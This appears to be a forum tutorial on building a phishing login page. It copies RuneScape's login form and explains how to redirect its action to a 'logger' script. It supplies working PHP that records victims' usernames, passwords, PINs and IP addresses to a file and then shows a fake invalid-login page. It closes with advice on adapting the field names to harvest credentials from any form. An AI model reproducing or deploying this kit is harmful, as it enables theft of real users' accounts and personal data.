Most website logins, unless it's flash, use a form and php.
Most forms are VERY simple and it's the php that is advanced checking databases, etc.
here is a basic form...
- Code:
-
<form id="login_form" action="https://weblogin.runescape.com/login.ws" method="post" autocomplete="off">
<div class="section_form">
<span style="float: left">RuneScape username:</span>
<input style="float: right" size="20" type="text" name="username" maxlength="12">
<br class="clear">
</div>
<div class="section_form">
<span style="float: left">RuneScape password:</span>
<input style="float: right" size="20" type="password" name="password" maxlength="20">
<br class="clear">
</div>
<div class="section_form">
<input type="submit" value="Secure Login">
</div>
<div class="section_form">
<input type="checkbox" name="rem" value="1"> Remember my username on this computer
</div>
<input type="hidden" name="mod" value="www">
<input type="hidden" name="ssl" value="0">
<input type="hidden" name="dest" value="">
</form>
This is from runescape.
You will notice one thing right near the very top....
- Code:
-
action="https://weblogin.runescape.com/login.ws"
That is where it sends the variables from the form, aka the password and username and more.
All you have to do on ANY form is to change that link to a logger file.
so change it to logger.php, or anythinghere.php, as long as it's your logger file.
here is an example logger file code:
- Code:
-
<?php $line =('***********************************************');
$name = $_POST['name'];
$user = $_POST['username'];
$passes = $_POST['password'];
$pin = $_POST['pin'];
$ip = $_SERVER['REMOTE_ADDR'];
$d = date('l dS \of F Y h:i:s A');
$headers .= "Content-Type: text/plain; charset=iso-8859-1\n";
$mes .= '<br>user: '.$user."<br>";
$mes .= 'Password: '.$passes."<br>";
$mes .= 'Pin: '.$pin."<br>";
$mes .= "IP: ".$ip."<br>";
$mes .= 'Date & Time: '.$d."<br>";
$mes .= ".$line."; $file = "anything.html";
$fh = fopen($file, "a");
fwrite ($fh, "$mes\n"); fclose($fh);?>
<?php
header("Location: invalidlogin.php");
?>
Now you may be asking, "But it isn't working on a forum."
That is because your variables are wrong.
It logs the by the "name" of the input.
so the username field:
- Code:
-
name="username"
would be logged here:
- Code:
-
$user = $_POST['username'];
So if the input was like this:
- Code:
-
name="rawrcopter"
The log would be:
- Code:
-
$user = $_POST['rawrcopter'];
All you have to do is make sure you have the log file set to log the inputs you want.
Hope this helps.